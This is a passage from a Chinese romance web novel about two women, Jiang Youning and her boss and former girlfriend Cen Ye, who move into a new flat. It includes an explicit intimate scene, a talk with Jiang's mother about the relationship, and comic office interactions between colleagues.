主卧的浴室裏是一米五的大型浴缸,宽大的洗漱臺上面甚至可以坐好几个人。 附带的衣帽间有道长长的走廊,两边是空荡荡的衣架,等待成堆的衣服在上面整齐摆放好。 “这主卧怎么跟我原来那个出租屋一样大啊……”姜又柠目测了好久,走出来问岑曳,“主卧面积多大啊?” 岑曳思索了下,看了下手机上存着的户型图,“五十平左右吧。” 姜又柠干笑了下。 比她最开始的那个出租屋还要大上那么一点点。 岑曳不喜欢碎小的空间太多,所以每个空间看起来都格外宽敞。 这栋房子只有四间房,除了主卧之外,还有一间客房、一间书房,最后就是岑曳口中所说的留给她放‘垃圾’的空房间。 她的那些喝奶茶买免费送的周边也是好起来了,能一起住上大平层,还有个专属房间了。 不过…… 岑曳没给她留卧室吗? 姜又柠只敢在心裏嘀咕,不敢直接问出口,她脸皮还没有那么厚。 “不满意这个布局?”岑曳在她的脸上看见了担忧。 “……你主卧那么大,一个人住不害怕吗?” 小时候在岑家的时候,她一个人住小房间就会害怕地找岑曳陪她一起睡觉呢。 “我一个人住?”岑曳先是反问她,随后才换了个方式解答,“害怕啊,所以得找个人陪我一起睡。” 姜又柠语塞,心想她小时候怎么胡说八道了那么多话。 原来不是没给她留房间,原来是只准她跟岑曳一间房。 门铃响起,适应生穿着白衬衫黑马甲送来了海鲜大餐。 岑曳道了声谢放到餐桌上,刚喊了姜又柠过来吃饭,就再次接到了手机电话。 家具城安排了人来送家具。 岑曳放下筷子,起身让人进来,还拿出了几双一次性拖鞋。 姜又柠乖乖坐着吃饭,看岑曳在客厅裏来回忙碌。 师傅每搬进来一个家具,岑曳都是眼神询问她想要摆放在哪裏,姜又柠嘴裏咀嚼着蟹黄,指向了客厅的某个位置,随后岑曳便吩咐师傅摆放。 岑曳中途给师傅一人拿了瓶矿泉水,看见餐桌上食物没怎么动,“你吃你的,不用等我,一会儿凉了。” “你快点儿嘛。” “快不了。”岑曳如实回答,“一会儿我要先清理一下这些家具。” 相框之类的没往置物架上摆,都放在了地上的塑料箱子裏。 姜又柠戴上手套慢悠悠剥着虾,最后每个虾上都裹满了酱料,手托着碗小跑到岑曳那边,喂给她吃。 岑曳双手戴着橡胶手套,低头张嘴了吃掉她喂过来的虾。 “好吃吗?”姜又柠眼睛亮亮的,“我剥的虾味道最棒了吧!” 岑曳扬了扬唇,看她微动的双唇,真想现在吻上去。 “我再给你剥螃蟹!”姜又柠又跑回到餐桌那边,也忙碌得很。 岑曳弯腰拿起一个相框在手心裏擦拭,回头看向姜又柠。 姜又柠冲她招招手,手套上的姜汁不小心掉在餐桌上,她惊慌失措地又用纸巾擦干净了桌面,对着女人窘迫地笑了笑。 岑曳舍不得再去忙着擦洗,心裏暖洋洋的,真想一直这样望着她。 她期待的家就是这样的。 两个人都在为了彼此快乐地忙碌着,简单而又温馨—— 作者有话说:本来想写个car的,但好像不太合适,遂放弃。 第52章 客厅终于在岑曳的眼睛裏看起来一尘不染的时候, 她停了下来,又洗了许久的手,才重新坐回到餐桌边。 姜又柠又将蟹黄喂到她嘴边, 咬住一次性手套的边缘重新戴好。 “满意这个房子吗?”岑曳观察着她的反应。 “不是你买的吗?”姜又柠不看她的眼睛,“你满意就好了啊。” “房子是我买的,但不止有一个主人。” 姜又柠继续剥虾, 顺势转移了话题,“这个海鲜真好吃, 哪家餐厅的?” “就在附近, 住在这裏可以天天吃。” 姜又柠沉默了, 开始认认真真吃饭。 “小区的房子续租了半年, 有喜欢的家具和摆件随时买了送到这裏就好。”岑曳说,“半年的时间,够你装饰新家了。” “你就这么肯定,我会住进这裏?” “不然呢?”岑曳不以为然, 她已经做好了姜又柠会住进来的准备。 问题和麻烦解决就好了, 她对现在的自己很有自信。 只要姜又柠的心在她这裏,她就有赌赢一切的资本。 饭后,岑曳收拾了餐桌,将垃圾袋扔到了楼下的垃圾桶。 这裏每层的角落裏都有个大垃圾桶,每天更换得非常频繁, 但她还是担心吃剩的海鲜有味道, 会弄脏她门口的地面。 姜又柠洗了脸和手, 站在偌大的客厅内不知道该待在哪裏。 岑曳打扫得太干净了,她现在像刚住进岑家的小姑娘,生怕把哪些地方弄脏了。 女人走过来,牵过她的手, 顺势抚了抚她的脸颊,“今晚就在这儿睡,好不好?” “太大了,我睡着不习惯。” “哪裏大了?还没家裏原来那个房子大。”岑曳捏捏她的脸,“你要是觉得大,那正好提前住一段时间,适应一下。” “你总有理由。” 女人悠悠道,“嗯,跟你学的。” 姜又柠双手背后,大模大样地走到落地窗边,“风景真漂亮,还得是我选的超大落地窗啊!” 岑曳站在她旁边,看她极力忍耐的上扬的嘴角,知道她满意得很,心情也逐渐轻松不少。 这裏是她们以后的家,总得都满意了才行。 她在国外工作的时候,就用‘给她和姜又柠买一栋家’这个理由拼命说服自己是可以接受在总部工作的。 用健康和休息时间去加班赚钱,几年下来薪水也非常可观。 买下这个房子积蓄倒是消耗了大半,不过倒是非常值得的。 姜又柠去了主卧的浴缸泡澡,岑曳给她准备了新鲜的玫瑰花瓣。 她抓起水面上的一把,朝着女人扔了过去。 细微的水渍洒过来,岑曳眯了眯眼睛,掌心开合,接住了一片花瓣,“想我跟你一起洗?” 姜又柠立即别过头不看她,不再乱动了,当作刚才什么都没有发生过的样子。 “注意点,别睡着了,我一会儿再过来。”岑曳叮嘱她一声,转身离开了浴室。 新房子这边没有准备睡衣,她提前买了些一次性用品备着。 要不是姜又柠一个人待在这裏她不放心,不然她真的会开车回小区把两个人常穿的那几套睡衣一并拿过来的。 岑曳点燃了味道浅淡的香熏,这一款她之前试过几次,是助眠的,味道也不算重。 她对味道比较敏感,她能接受的话,应该姜又柠也会觉得不错。 住在这裏的第一晚,她希望姜又柠是舒适且幸福的。 姜又柠还播放了柔和的音乐,她担心自己真的睡着,所以还订了个一小时的闹钟。 闹钟响起来的时候,她果然从睡梦中惊醒了。 浴缸设置了恒温,她起身关掉温度设置,准备去花洒下面冲洗身体。 浴室的门倏地被敲了两下,岑曳将门开了一小半,没能在浴缸内看见她的身影,便走了进来。 “浴巾帮你挂在墙上。”岑曳看她一眼,“不泡了?” “你怎么突然进来了?” “看你音乐关掉了,就进来看看。” “这浴室的门不隔音啊?” 女人顿了下,“你想要隔音的?” 明明她的面容很认真,但姜又柠就是忍不住乱想,“不要。” 岑曳没急着离开,将浴缸裏的水放掉了。 “你泡的话等我洗完,我很快。” “不用,我就是放个水。” “我自己也会放的,你干嘛……”姜又柠抱着自己的胸,双腿微拢,“你快出去!” “撵我啊?”岑曳瞧她羞赧的样子,嘴角的笑意根本忍不住,“你把我往哪裏撵?” 她走到姜又柠的面前,微微弯腰直视着她湿漉漉的一双眼睛,“这裏?” 浴室内的空气本来就不算流通,更别说刚才她还泡了那么久的澡,这会儿被女人这么一问,她的双颊更是红得不像样子,胸脯起伏着,呼吸声很明显。 “快点走啦!”她推了下岑曳,脚下却打了滑,小臂被岑曳稳稳拽住。 女人将她搂在怀裏,“哦,这也是故意的?” “你别瞎说!我没站稳!” “适当的小花招确实挺吸引我的。”岑曳的唇轻触了下她泛红的耳尖,“柠柠,我很喜欢。” 姜又柠咬唇,赤/裸的肌肤紧紧贴着女人的前胸,她能够感受到女人的柔软,往前躲的时候,岑曳的小臂便顺势揽过了她的胸。 她真是被前后夹击了…… “快点儿洗,我在房间等你。”岑曳没再刻意挑逗她,轻笑一声松开了她。 浴室裏终于只剩下姜又柠一个人,她扶着墙长喘着气。 新房子的空气流通也太差了! 她根本都呼吸不过来了! 姜又柠从浴室裏面出来的时候就嗅到一股浅淡的香味,岑曳裹了层浴袍站在桌边回复着电脑邮件。 她刚走进去看了一眼,岑曳就将电脑合上了。 “怎么?又不想给我走后门了?” “走后门不止这一种办法,要不要试试别的?” “不要。”姜又柠刚刚拒绝就被女人拽过去搂在怀裏。 柔软的唇立刻落了下来,女人咬着她的唇瓣,亲了下分开,随后又贴上去,给足了姜又柠呼吸的空间,但也只是短短的一剎那。 岑曳抱她坐在桌子上,吻她锁骨下白皙中的两抹红,掌心揉捏,送上细密黏连的吻。 感受到女人牙齿在咬,姜又柠倒吸一口凉气,下意识去抓女人的衬衫,却只能够触碰到她白皙的肩膀。 手指惊得缩了回来,不知道该落在哪裏。 岑曳抓过她的手,吻了吻她的掌心。 细微的痒意被扯起来,姜又柠舔了下嘴角的水渍,雾蒙蒙地看向面前的女人。 “在这裏适应一下?” “适应什么?”姜又柠没精力去思考女人的话,“我直接睡觉也可以适应的……” 岑曳站在她双/腿间,捧着她的脸颊,“我都装了单面玻璃,想做什么都可以。” “什么都不想做……” 尽管脑子不清醒,但这种话无论在什么时候姜又柠还是一点就透。 “柠柠,为什么总是这样心口不一呢?”女人咬着她的耳朵,顺着她的耳廓由上而下地舔舐。 她半蹲下来,又轻拍着姜又柠安抚她。 姜又柠完全看不清周围的样子了,窗外灯红酒绿,颜色各异的灯光顺着卧室的落地窗照进来。 “好凉……”她瑟缩了下,不想待在这裏,她怕自己真的受不了。 “冷吗?”岑曳皱了皱眉,似乎在自责自己不够周到。 她抱着她去了沙发,在她上半身盖上了一层毯子,随后轻拍着她的瀑处。 裏层外层软肉交迭,女人抿唇轻含,姜又柠咬着唇,脑子麻麻的。 岑曳单腿跪在沙发上,指腹也按压着,随后又俯身下去。 姜又柠弯曲了下腿,被女人抓住了脚腕不准她乱动。 这种双重刺激让她的心脏跳得好快,岑曳亲吻她的唇不停地安抚她,但手上动作没停。 这种被控制住的感觉,要比过去加重了太多。 她们分别四年,岑曳相较于以往更加成熟了,气场也更加强大了。 带着未知又熟悉的感觉,她张唇努力呼吸。 每次做这种事情的时候,姜又柠一想到岑曳还是自己的上司,感觉就来得更快。 崩溃的那瞬间,岑曳紧紧拥抱住她,吻她的脸颊,给她呼吸的缝隙。 迷迷糊糊之间,姜又柠感觉到自己被抱到了床上,她耐不住汹涌而来的困意,一下子便睡了过去。 岑曳仍旧抱着她,不去看被弄得脏兮兮的新沙发,感受着怀裏人闷热而又沉重的呼吸。 她轻吻她的唇角,“做个好梦,柠柠。”- 周日姜又柠醒过来的时候,已经是中午了,岑曳还在,并且抱住她的手依旧没有松开。 女人闭着眼睛,似乎还在熟睡。 姜又柠轻轻拿开自己腰前的胳膊,刚起身就被再次捞了回去。 “醒了?” 姜又柠闭着眼睛一动不动,希望岑曳把她刚才的动作当成只是翻了个身。 “再装睡我就亲你了。” 姜又柠睁开大眼睛眨了眨,一言不发。 岑曳啄了啄她的唇便去客厅拿了昨晚洗好的衣服,“想在哪裏吃饭?” “想回原来小区楼下的馄饨店吃饭。”她穿着衣服,看见了一边脏兮兮的沙发。 上面的水渍已经干掉了,呈现出大片大片触目惊心的乳/白色。 怎么没收拾啊…… 岑曳看见不焦虑吗? 脑子裏立即开始回旋昨晚的事情,姜又柠扒拉了几下头发,双颊绯红。 岑曳凑近她的脸,故意要她看着自己顺着她视线的方向望,“看什么呢?沙发啊。” “没有,你新买的这个沙发不太行,买回来就脏兮兮的。” “谁弄脏的?”岑曳问她。 姜又柠说不出‘反正不是我’这种厚脸皮的话。 “正好,把客厅的沙发搬进来,再换成深棕色的。” “这个卧室的你就扔掉了?” 岑曳抱胸睨她,嘴角衔着笑,“你不是说买回来就这么脏?我得找找负责人帮我处理吧?” “哎呀我帮你清理!”姜又柠推着她往客厅走,“你别看了!” 她真怕她们两个人的对话再进行下去,就变成岑曳以她弄脏沙发为由,想着法子要在她身上讨回来的话题了。 最后那沙发还是岑曳清理的,姜又柠本来打算捧着外卖午饭来卧室边吃饭边清理的,被岑曳严厉制止了。 从昨天到现在,在这栋房子度过的时间裏,她好像一直都是坐着享受,然后看着岑曳来来回回地忙碌。 “好像跟小时候反过来了……”姜又柠靠着椅背,脸上写满了得意,“翻身做主人啦!” 岑曳瞧她的兴奋劲儿,勾唇笑了笑,“嗯,欠你的。” 这小祖宗她真要供上一辈子了—— 作者有话说:[狗头叼玫瑰][狗头叼玫瑰] 第53章 吃饱喝足之后, 两个人才回了原来的小区。 本来打算吃馄饨的,但因为在新家吃过了外卖,所以这顿馄饨放到了晚上。 路上姜又柠买了两箱牛奶和一些水果, 准备下午有空的时候给姜鸿英送过去。 之前上班比较悠闲,她一个月都会去集体宿舍好几次。 最近一段时间加班次数太多,她倒是只能两三星期去一次了。 岑曳依旧开着车子送她过去, 在老地方停了车等着她出来。 “我这次可能得晚点儿出来,要不你先回去?” “打算找谁?”女人的手搭在方向盘上, 脸上的笑容消散得无影无踪。 “我当然找我妈啊, 还能找谁?” 姜又柠愣了几秒钟, 猜到她应该又在明裏暗裏地提颜歆。 她本意也是想如果能碰见颜歆的话顺便解释一句她跟岑曳的关系, 以免在姜鸿英面前说漏嘴。 之前本来打算在微信上说的,但忙起来就忘了,而且这事儿说来话长,频繁盯着手机, 也容易被岑曳抓包。 真烦人, 明明是努力为了跟岑曳的关系不再次暴露,却还要被岑曳这样醋来醋去的。 “上次你就去了十五分钟,这次给你二十分钟,够吗?” “不够!” 这个女人怎么还敢偷偷计时的? 她见她自己妈妈还要被限制时间吗? “上次够这次就不够了?” “哎呀我尽量快点!你等不及就先回家嘛!”姜又柠懒得跟她掰扯这些毫无意义的话,转身就往裏面走。 事先已经说过了, 所以姜鸿英一早就知道她要来, 宿舍裏好几个阿姨都坐在一起聊天, 热热闹闹的。 “柠柠来,你坐。”颜阿姨给她腾了个位置,“我给歆歆打过电话了,一会儿她就到了。” 姜又柠笑了笑, 还是把姜鸿英身边的位置让给了颜阿姨,自己去了另一边坐着,“妈,我上次给你买的牛奶没喝完吗?你要按时喝,对身体好的。” “柠柠买太多了,你妈妈每天的营养都要多出来浪费了。” 姜又柠腼腆地笑笑,“下次我再多买些,大家一起分。” 没多久颜歆就到了,她穿了件白色的羊毛衫,依旧是那副黑框眼镜,对于姜又柠在场也不意外,礼貌地打了声招呼。 昨天在家具城见面实在过于尴尬,岑曳那句纠正的‘女朋友’让她现在见到颜歆就会猜测她现在在怎么想自己。 “歆歆姐。”姜又柠站起来,示意她跟自己出来聊。 两个母亲对视一眼,笑容都别有深意。 “现在的小孩子不得了哦,有什么小秘密是不能当着大人面讲的?”有个阿姨戳破了那层窗户纸,周围响起了几个中年女人爽朗的笑声。 姜又柠在走廊走远了几步,“歆歆姐,昨天在家具城的时候,抱歉啊。” “为什么抱歉?”颜歆扶了下镜框,上下打量她,笑容相较于以往,不算太深。 “昨晚跟我一起逛家具城的是我前女友,我们现在……”姜又柠抿唇,还是把话说得严重,“我们现在正在同居。” 颜歆眉尾微扬,“所以你想告诉我什么?” “我们分手的原因比较复杂,我知道你最近来集体宿舍比较频繁,如果可以的话,希望你别在我妈妈面前聊这件事情。” “就这么相信我?” 姜又柠看过女人眼底闪过的一丝狡黠,“我……” “按理来说,我现在是不是应该要生气的?” “对不起……”姜又柠比较难办。 这件事情好像谁都没错,但她是中间唯一一个跟每个人都有联系的人,她也不想闹得太难看。 “请你原谅我,如果你觉得我做事太拖泥带水,没能在第一次见面的时候就直接向你坦白我的意向,我表示很抱歉。”姜又柠只能真诚地跟她讲,“我是怕我妈妈不高兴,才没有立即说的。但我也不想因为我的原因让任何一个人为难。” 所以后来她同意第二次单独见面,这样一对一谈话,她能够畅所欲言。 “但你就打算一直这样瞒着姜阿姨吗?” “我……”姜又柠抿了抿唇,“我妈妈之后肯定会知道的,我只能慢慢试探她的态度。” “你跟你的前任过去闹得很不愉快吗?” 姜又柠垂下头,不知道该怎么讲。 “好像我不该问,算了。”颜歆掀开门帘走进了宿舍。 姜又柠跟着回去了。 快到十一月份了,天气忽冷忽热,最近家政公司正在征求家政阿姨们的意见,改进食堂的一日三餐。 宿舍内的几个阿姨拿着表格正在填写。 “要多加些牛羊肉嘛,拿那么多提成,每次在食堂吃饭连个肉渣子都看不见,免费的饭也不能这么给!” “老板这么抠,你还不如祈祷哪天你的雇主给你多送几份肉尝尝味儿。” “就是啊!这意见每年都要写,也没见有什么改善嘛!领导也就是走个形式,打印这些纸的钱上面都要心疼坏了噻!” “哎哟,我又住不到雇主家裏去,没鸿英运气好、能干,我做完饭就得走了,连个味儿都闻不到。” 姜又柠听着,觉得这话刺耳,正准备开口反驳,就被姜鸿英拦住了胳膊。 姜鸿英脸上还带着笑,像是没听到一样,姜又柠瘪了瘪嘴,一脸不高兴。 她拉过姜又柠的手,带着她重新走出来,“你最近加班也多,好不容易的周末,回去休息吧。” “你不是老想让我来看你,我来了才多久,干嘛又撵我走?”姜又柠知道她在想什么,“她们就是在眼气你,没你能力好,没你的雇主多,吃不到葡萄说葡萄酸!” “妈妈跟你讲过的,哪裏都是各色各异的人,做好自己就好了,更何况她们就是嘴上说说,心不坏。” “我下次给你送好的牛羊肉,你就去食堂借那个大锅自己煮汤喝,坐在她们旁边让她们看着你吃!” “别废这个钱,那多贵啊。”姜鸿英拍拍她的手,“你看你颜阿姨的女儿是海归,听说前几天也找到工作了,是大公司,刚进去工作年薪就能有六位数的。” “人家德国博士,很强的学历啊。” “这么好的机会你可别错过,我跟老颜也认识这么久了,彼此知根知底,前后脚进的家政公司,那个时候你才多大,你颜阿姨还抱过你呢,都能算你干妈了。” “妈,你别再想这事儿了,我跟歆歆姐聊过了,她目前只想发展事业,我也不想谈恋爱。” “现在不想谈以后肯定会想谈的,你们先从朋友做起,反正都是身边人,见面也方便。” “不方便,我一想到你在撮合我跟歆歆姐,我就很抗拒跟她见面。” 见一次,家裏某个女人就气上好久,简直是非常不方便! “话不能这么说!歆歆这个孩子很不错的,有能力也踏实能干,妈妈的话你要听的,什么时候害过你?” “我被感情伤害过,我现在对爱情很失望。”姜又柠脑子思索了下,尝试性地提了下这个话题。 “你这……” “除非我能把失败的感情挽回成功了,这样说不定我就重燃爱情的希望了!” “死脑筋!”姜鸿英戳了戳她的脑袋,“怎么还想着这事儿?我跟你说过多少遍了?就没把我的话放在心上!” “那你也没把我的话放在心上过!”姜又柠罕见地有些生气,“我说了我想自己恋爱,不喜欢你跟有些阿姨一样,就要掺和人在一起,别人都是祸害别人,你干嘛把我当说媒的实验品啊?” “我怎么是祸害你呢?是知根知底才撮合的,你是我的女儿,我肯定愿意把好的给你。” “我喜欢的才是好的,最好的!” 没有人能比岑曳更好。 “你是不是因为岑家那孩子到你们公司工作了,你现在又开始想这事儿了?人家现在不一定能看得上你。”姜鸿英严厉道,“小时候她一个人在家,不爱出门找朋友,拿你打发时间呢,你还真当真了?” “她要是能拿我打发一辈子时间,那我就能当真一辈子!”姜又柠固执地反驳她,“我现在有脑子了,不是小孩子,你能让我自己做决定吗?而且你现在又不在岑家做家政了,这事儿就是我跟岑曳姐两个人的事情了,我自己能处理好的!” “我是怕你受欺负。”姜鸿英看出她的真心实意,放软了语气。 “我在岑家没受过欺负,但不在岑家的时候,一直在受欺负。” 遇到好的雇主,好的家庭对于家政来说太看运气了,姜鸿英去岑家之前,不是没有被克扣过薪水,还被投诉过好几次。 岑家那边也辞退了好几个雇主,是个棘手的活儿,姜鸿英当时顶着风险去了,最后还真做下来了。 “你总拿门当户对说事,可岑曳姐从来没提过这个……” 永远是过于自卑的人才会觉得别人会不会瞧不起自己,但很多时候对方根本不会在乎。 姜鸿英的考量姜又柠已经在尝试第二次了,得到的结果是一样的。 岑曳依旧不会欺负她,而且还会反过来保护她。 她手腕处在别的雇主家被烫的伤疤,是岑曳不知道哪裏买的药膏,上面的字母姜又柠根本认不清楚,本来以为要永久留疤了,但药膏抹了一段时间,疤痕就慢慢消退了。 “当时我跟岑曳姐恋爱被岑阿姨知道了,她跟你联系之后,你说你怕她投诉你,甚至给你使绊子让你丢工作,以后都做不了家政了,可她只是提前解除了雇佣关系而已,她也没做什么别的对吗?我也好好地毕业了,什么坏事儿都没发生。” 那天是姜又柠怎么忘都忘不掉的事情。 岑千兰坐在沙发上,面无表情地讲着这件事情,同时眼神施压一边的姜又柠,不准她解释一个字。 姜鸿英一听就吓得跪下去,姜又柠想扶不敢扶,眼泪哗啦啦地流。 跟雇主的女儿谈恋爱这种事情,太像她们母女俩想一步登天的选择了。 岑千兰调整了坐姿避开了正面相对,摆摆手示意姜又柠把姜鸿英扶起来。 “我的女儿犯了错,是我自己的教育方式出了问题。”岑千兰手裏拿着一份雇佣合同,“我这几年一直催着她去国外工作,是我态度不够坚决,我们的合同也该结束了。” “对不起……是我的错,我没看好我的女儿……”姜鸿英知道岑千兰身份不低,始终在恳求她。 有钱人表面光鲜亮丽,但多数都会背后捅刀子。 跟她的女儿姜又柠恋爱居然算是一种犯错吗? “我可以不要我的工作,但求您别影响到我的女儿……她还在上大学,她的前途还很光明的……” 姜鸿英痛心得很,她只有初中学历,含辛茹苦将姜又柠抚养长大,就怕她的女儿的未来出任何差错。 “只是提前解除合同关系,家政公司那边我会说是我的原因。”岑千兰看了眼时间,“你们的东西应该不多吧?我女儿还有两个小时下班到家,希望你们能把你们的东西尽快清理干净。” 姜鸿英不敢有任何怠慢,她们母女在岑家的小房间裏也就只有床铺而已,衣服也没几件。 姜又柠好久没在这间房间裏住了,每次偷偷来岑家,她都是住在岑曳那个卧室裏。 她的几件衣服还有睡衣都在岑曳的衣柜裏,此刻也根本不敢去拿。 姜又柠只将戴着红色围巾的狐貍玩偶塞进了书包裏,被姜鸿英拉着快速离开了岑家。 她以为姜鸿英会骂她。 以往她在雇主家犯错,姜鸿英都会生她的气,可这次姜又柠拖着装了床铺的麻袋,一言不发等着姜鸿英训斥她的时候,姜鸿英只是拉着她的手,示意她坐上电动车后座。 “妈……”姜又柠一开口,根本憋不住自己的哭腔,“对不起……” 她让姜鸿英受屈辱了,她从来没见过姜鸿英那样低声下气地求人。 “我把麻袋放在脚踏板上,你坐着拎一路太重了。”姜鸿英保持着平静,擦了把脸上的泪,佯装无事地用力将麻袋往脚踏板中间扯,“你坐好,妈妈带你回宿舍住,妈妈晚上抱着你睡,那个床一点儿都不挤的。” “妈不会让你受欺负的,咱们现在熬出来了,没事的啊没事的。” “别哭,别让人看笑话!回去了妈妈给你做好吃的,不是总跟我说学校的饭不好吃吗?” “妈妈做的饭特别香,今天给你买你爱吃的排骨!想吃多少吃多少!” 姜鸿英一个字都没骂她,平静的话裏颤音却格外明显,可姜又柠却更难受了。 她抱着姜鸿英的腰一路回了集体宿舍,明明总在宣扬自己是个成年人了,那天却比小时候任何一次哭泣都要伤心。 …… 姜鸿英给她递了纸巾,沉默了好久才说道,“我可以不管你怎么选择,但岑千兰呢?她会同意吗?” “我不知道……” 现在的姜又柠依旧不敢想这个问题,她甚至不敢去问岑曳的看法。 一切都是未知的,她怕自己一提前考虑这个问题的话,现在跟岑曳的甜蜜日子就再次开始倒计时了。 “考虑事情周全一点。”姜鸿英说,“多为自己考虑,知道吗?” 姜又柠点点头,“妈,对不起……” 姜鸿英无奈地嘆了口气,“有些事情人为阻拦也没用,但有一点,妈不想让你受欺负。” “不会的……”姜又柠说,“你知道岑曳姐的性格的……” “我不管她什么性格,我只想我女儿过得好。” 姜又柠笑了笑,“那我就走了。” “斜对面那个路口,那车子是岑家那孩子的吧?” 姜又柠愣住,张张唇什么都没说。 “之前路过的时候,就看见你的眼神在那车子上乱瞄。”姜鸿英说,“诗文我知道她没驾照,你每个朋友我都见过,这车子来了不止一两次,每次偏偏都跟你一起出现,上次在小区又见到了……猜就能猜出来。” “妈,我跟岑曳姐现在就是在做朋友嘛,你别说了。” 原来她偷偷做的事情全被姜鸿英看见了。 被这么直白地挑明,真令人羞耻。 “行了行了,回去吧。”姜鸿英不耐烦,“下次别买那么多东西了,吃不完的。” “下次再给你买双倍的!就要让她们看看你女儿对你有多好!” “就你爱乱花钱!”姜鸿英噗嗤笑出声来,拍了拍她跟她告了别。 姜又柠在马路边等着红绿灯,随后拿出小镜子照了照自己的脸。 眼睛还是红的,她吸了吸鼻子,努力打了几下哈欠来佯装出自己是困了才眼眶发红。 岑曳始终盯着宿舍大门,刚看到姜又柠的身影就下了车朝着她走过来。 绿灯,姜又柠对着女人挥挥手,示意她站着别动,自己小跑着过去了。 她一下子抱住女人的腰,笑声这次有些轻松。 姜鸿英没那么介意她们的感情了,她真想马上告诉岑曳。 但又怕这样会给岑曳压力,毕竟她不知道当下岑千兰清不清楚她们现在的发展。 她想要慢慢来,也不想给岑曳压力。 小时候她太随心所欲了,虽然都是些很小的事情,但也没怎么考虑过岑曳怎么想。 现在,她会更加周到地考虑好身边每一个人。 “每次你来这儿都会掉眼泪。”岑曳认真看着她,“下次再这样,就不送你过来了。” 她从来不舍得姜又柠哭,每次一跟她分别,重新见面之后,姜又柠脸上总带着泪痕。 可怜兮兮的,她心疼死了。 “我今天很高兴!”姜又柠不打算藏自己红彤彤的眼睛了。 “那还哭?”女人的指腹摩挲着她的眼角,忍不住去吻却被姜又柠避开。 “我妈妈知道我们的事情了……” 岑曳手指微顿,语气裏染上了难以察觉的紧张,“……她怎么说?” 她不知道岑家的某一天发生了什么,只知道自己刚一到家,家裏任何关于姜家母女的存在痕迹全部都消失不见了。 “她要我做自己想做的,只要我自己快乐就好。” “那,柠柠……”岑曳不确定地问她,“你现在快乐吗?” 女人甚至不敢挑明完整的这句话是‘跟我在一起,你现在快乐吗?’ 姜又柠莫名想到岑千兰那张脸,犹豫了下没有说话。 “不快乐也没关系。”岑曳不在乎,她只是捧着她的脸,一遍遍在她嘴角上啄,“再给我一点时间,好吗?” 这是她应该做的,她会承担好应尽的一切责任。 而姜又柠应该做的,就是依旧且永远地爱她—— 作者有话说:[烟花][烟花] 第54章 新的一周, 姜又柠工作明显有干劲儿了。 姜又柠可是上个月的优秀员工,那些浑水摸鱼的人都挨个被裁了,现在部门蒸蒸日上的, 未来简直一路光明。 周报和月度彙报全都取消了,考勤制度也宽松了很多,开始实施工时制, 超过八小时算加班。 不过这周一的例会倒是没开,国内另个分部门的员工来这儿开了场临时会议, 这大会议室的门一上午了都没有一个人出来, 不知道都聊了些什么。 许久, 庄玟手插口袋从会议室裏一脸不悦地走出来, 拿起手机看见江诗文的消息,顺势路过这裏。 “你在工作时间找我,最好是有重要的事情。” “你之前给我送礼物不也是上班时间吗?” “午休时间不算在工作时间内。” 江诗文懒得跟她辩解这些,将抽屉裏的盒子递给她, “送你。” “什么?”庄玟打开看, “手表啊?” “喜欢吗?”江诗文下意识问,而后立即改口,“我千挑万选的,你必须说喜欢。” 庄玟望了眼她的脖子,项链还在戴着, 她便将手腕上的手表取了下来, 将新的这块戴上了。 “很不错, 不过我还是希望以后你送礼物的时候,能在休息时间找我。不然,会影响我的工作安排。” 女人说完转身就走,江诗文吐槽的话都没能说出口, “神经啊……很贵的手表连一句夸赞都换不来,没意思……” 姜又柠撑着脑袋,“你要是想要她夸你的话,应该直说会比较好吧?庄总监应该不是那种会在感情上举一反三的人。” “我才不会跟她好好说话!”江诗文冷哼一声,“要不是她送我那么贵的项链,我才懒得给她买手表。” 庄玟不喜欢首饰,全身上下能用肉眼看见的唯一装饰品就是那块手表。 江诗文还刻意问过她的喜好呢,想要送礼送到正确的位置上,却听见女人说,‘要不是看时间比较方便,我连手表都不会戴。’ 她完全没办法跟庄玟正常沟通,两个人都互相瞧不起对方。 一个人觉得对方没能力只会吃喝玩乐,一个人埋怨对方是个死板的工作狂,没一点人情味儿。 邻近中午的时候,江诗文故意在工位周围送了好几次文件,路过庄玟办公室的时候还刻意踮起脚尖往裏面看了看。 还真没能看见庄玟细细品味这块手表的神态,只有蹙眉工作的严肃脸。 “给这种人买礼物简直是浪费钱嘛!”江诗文靠墙,烦躁得很,刚给姜又柠发了消息准备一起出门吃饭身边办公室的门就开了。 “学会在休息时间找我了?” 江诗文:“?” “那行,一起吃饭吧。” “我不要跟你一起吃饭!” 庄玟拽过她的胳膊就往电梯的方向走,姜又柠本来收到了江诗文的消息,但看到这一幕步子就停下来了。 会议室还没有任何要散会的意思,姜又柠一条岑曳的消息都没等到,这个会开得这么焦灼吗? 挣扎的时间有点久,电梯这会儿等的人已经不多了。 庄玟嫌她乱动,将她压在墙角凑近了唇。 江诗文一下子惊住了,“你要干嘛啊?” “嗯……”庄玟思索了下,似乎在回忆什么,“吻你?” 江诗文吓得从她胳膊下面的缝隙中逃离出来,“你疯了吧?你知不知道亲吻只能在非常亲近的人之间才能发生!而且必须是爱情这方面的亲密!” 庄玟不以为然,“我在恋爱帖子裏面看的,说如果你的对象不听你解释,或者一直想要反抗你,这个时候强吻是最容易让她冷静下来的办法。” “你能把这些帖子全屏蔽了吗!或者把你的手机直接扔掉!” “不太行,我还要用手机工作。” 江诗文觉得这人真没救了。 正巧姜又柠在工位上等了几分钟,打算自己一个人出来吃饭的时候,就看见了神情各异的两个人。 “你们还没走啊?” “柠柠陪我吃饭!我受不了了……”江诗文像找到了救星一样,抱住她的胳膊不肯撒手,“你都不知道……你不知道刚刚……” “要不你们先去吃饭,我想再等等岑曳。” 她真没办法一个人招架这种场面,要是有岑曳在的话,她还能稍稍安心一些。 庄玟她不敢胡乱评价甚至主动给建议,江诗文发起疯来她也拦不住,姜又柠觉得自己现在一点儿都不饿,甚至还能努力工作两个小时。 “那会还不知道几点结束。”庄玟按下电梯,“再不吃饭的话,你会饿一天肚子。” “不是跟另个部门开会吗?不会这么慢吧?”姜又柠走进电梯裏,有些焦急。 只有跟总部那边开会的时候,才会漫长又熬人。 “另个部门跟总部说,不满意现在国内两个分部门的工作安排,总部那边懒得处理这个烂摊子,让她们负责人来找岑曳沟通,自主处理。”庄玟说,“还大放厥词想要两个部门合并,由两个负责人共同管理。” 江诗文也反应了过来,“那你为什么开一半会就出来了?” “无非就是看这个部门发展不错,眼红而已。”庄玟脸上的厌恶根本掩藏不住,“也就是岑曳脾气好,能连着几个小时听她们负责人大吐苦水,我待在会议室裏,甚至没有觉得是在浪费我的工作时间,而是在浪费我的生命。” 